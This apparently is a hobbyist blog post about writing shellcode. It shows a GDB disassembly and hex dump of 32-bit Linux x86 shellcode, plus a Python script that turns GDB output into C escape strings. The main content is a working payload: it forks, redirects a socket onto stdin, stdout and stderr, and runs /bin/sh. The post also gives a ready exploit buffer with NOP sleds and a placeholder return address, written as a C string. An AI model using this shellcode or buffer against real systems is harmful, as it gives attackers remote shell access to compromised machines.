Due to developing shellcode during the recent days, I ended up needing to convert GDB output to C style strings very often. My sample output from GDB looks like this:
(gdb) disassemble function
Dump of assembler code for function function:
0x08048254 <function+0>: push %ebp
0x08048255 <function+1>: mov %esp,%ebp
0x08048257 <function+3>: pop %ebp
0x08048258 <function+4>: jmp 0x8048268 <begin>
0x0804825a <function+6>: inc %ecx
0x0804825b <function+7>: inc %ecx
0x0804825c <function+8>: inc %ecx
0x0804825d <function+9>: inc %ecx
0x0804825e <function+10>: jmp 0x80482b3 <bottom>
0x08048260 <function+12>: pop %esi
0x08048261 <function+13>: mov %esi,%esp
0x08048263 <function+15>: sub $0x78,%esp
0x08048266 <function+18>: xor %edi,%edi
0x08048268 <begin+0>: mov %edi,%eax
0x0804826a <begin+2>: inc %eax
0x0804826b <begin+3>: inc %eax
0x0804826c <begin+4>: int $0x80
0x0804826e <begin+6>: test %eax,%eax
0x08048270 <begin+8>: je 0x8048288 <child>
0x08048272 <parent+0>: mov %edi,%eax
0x08048274 <parent+2>: mov $0xa2,%al
0x08048276 <parent+4>: push $0x11111111
---Type <return> to continue, or q <return> to quit---
0x0804827b <parent+9>: push $0x11111111
0x08048280 <parent+14>: mov %esp,%ebx
0x08048282 <parent+16>: mov %edi,%ecx
0x08048284 <parent+18>: int $0x80
0x08048286 <parent+20>: jmp 0x8048272 <parent>
0x08048288 <child+0>: mov -0x204(%esi),%ebx
0x0804828e <child+6>: mov %edi,%ecx
0x08048290 <child+8>: mov $0x3f,%al
0x08048292 <child+10>: int $0x80
0x08048294 <child+12>: inc %ecx
0x08048295 <child+13>: mov %edi,%eax
0x08048297 <child+15>: mov $0x3f,%al
0x08048299 <child+17>: int $0x80
0x0804829b <child+19>: inc %ecx
0x0804829c <child+20>: mov %edi,%eax
0x0804829e <child+22>: mov $0x3f,%al
0x080482a0 <child+24>: int $0x80
0x080482a2 <execshell+0>: mov %edi,%eax
0x080482a4 <execshell+2>: mov %al,0x7(%esi)
0x080482a7 <execshell+5>: push %eax
0x080482a8 <execshell+6>: push %esi
0x080482a9 <execshell+7>: mov %edi,%edx
0x080482ab <execshell+9>: mov %esp,%ecx
---Type <return> to continue, or q <return> to quit---
0x080482ad <execshell+11>: mov %esi,%ebx
0x080482af <execshell+13>: mov $0xb,%al
0x080482b1 <execshell+15>: int $0x80
0x080482b3 <bottom+0>: call 0x8048260 <function+12>
0x080482b8 <bottom+5>: das
0x080482b9 <bottom+6>: bound %ebp,0x6e(%ecx)
0x080482bc <bottom+9>: das
0x080482bd <bottom+10>: jae 0x8048327 <__floatdisf+55>
0x080482bf <bottom+12>: inc %ecx
0x080482c0 <bottom+13>: ret
End of assembler dump.
(gdb) x/98xb 0x0804825e
0x804825e <function+10>: 0xeb 0x53 0x5e 0x89 0xf4 0x83 0xec 0x78
0x8048266 <function+18>: 0x31 0xff 0x89 0xf8 0x40 0x40 0xcd 0x80
0x804826e <begin+6>: 0x85 0xc0 0x74 0x16 0x89 0xf8 0xb0 0xa2
0x8048276 <parent+4>: 0x68 0x11 0x11 0x11 0x11 0x68 0x11 0x11
0x804827e <parent+12>: 0x11 0x11 0x89 0xe3 0x89 0xf9 0xcd 0x80
0x8048286 <parent+20>: 0xeb 0xea 0x8b 0x9e 0xfc 0xfd 0xff 0xff
0x804828e <child+6>: 0x89 0xf9 0xb0 0x3f 0xcd 0x80 0x41 0x89
0x8048296 <child+14>: 0xf8 0xb0 0x3f 0xcd 0x80 0x41 0x89 0xf8
0x804829e <child+22>: 0xb0 0x3f 0xcd 0x80 0x89 0xf8 0x88 0x46
0x80482a6 <execshell+4>: 0x07 0x50 0x56 0x89 0xfa 0x89 0xe1 0x89
0x80482ae <execshell+12>: 0xf3 0xb0 0x0b 0xcd 0x80 0xe8 0xa8 0xff
0x80482b6 <bottom+3>: 0xff 0xff 0x2f 0x62 0x69 0x6e 0x2f ---Type <return> to continue, or q <return> to quit---
0x73
0x80482be <bottom+11>: 0x68 0x41
(gdb) Quit
And my desired output are the bytes in these strings:
char shcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /* First the NOPs*/ "\xeb\x04" /* Jump over the ret addr */ "\x41\x41\x41\x41" /* wannabe ret addr */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /* Second NOP slide */ "\xeb\x5d\x5e\x89\xf4\x81\xec\xc8\x00\x00\x00\x31\xff\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x74\x17\xb8\xa2\x00\x00\x00\x68\xb8\x0b\x00\x00\x68\xb8\x0b\x00\x00\x89\xe3\x89\xf9\xcd\x80\xeb\xe9\x8b\x9e\xfc\xfd\xff\xff\x89\xf9\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x89\xf8\x88\x46\x07\x50\x56\x89\xfa\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\x9e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41" /* that's the shellcode */ |
So I built a quick and dirty script which does the conversion and helped me saving a lot of time. Is there any better way of making gdb output the shellcode directly?
#!/usr/bin/env python import sys paginator = '''---Type to continue, or q to quit---''' def convert (to_convert): retlines = [] for line in to_convert.splitlines(): if line.startswith('--'): continue pos = line.find(":") newline_string = line[pos+1:] for needle, replacement in (('\t', ''), ('0x', r'\x'), ('\n', ''), (paginator, '')): newline_string = newline_string.replace(needle, replacement) retlines.append (newline_string) return "".join(retlines) if __name__ == "__main__": to_convert = sys.stdin.read() converted = convert (to_convert) print converted |
Want to take a guess what the shellcode actually does? It’s not too hard to see though.
It converts anything to anything, as long as it’s sound so you might find that tool useful as well 
If you go down this rabbit hole, bring a flashlight.
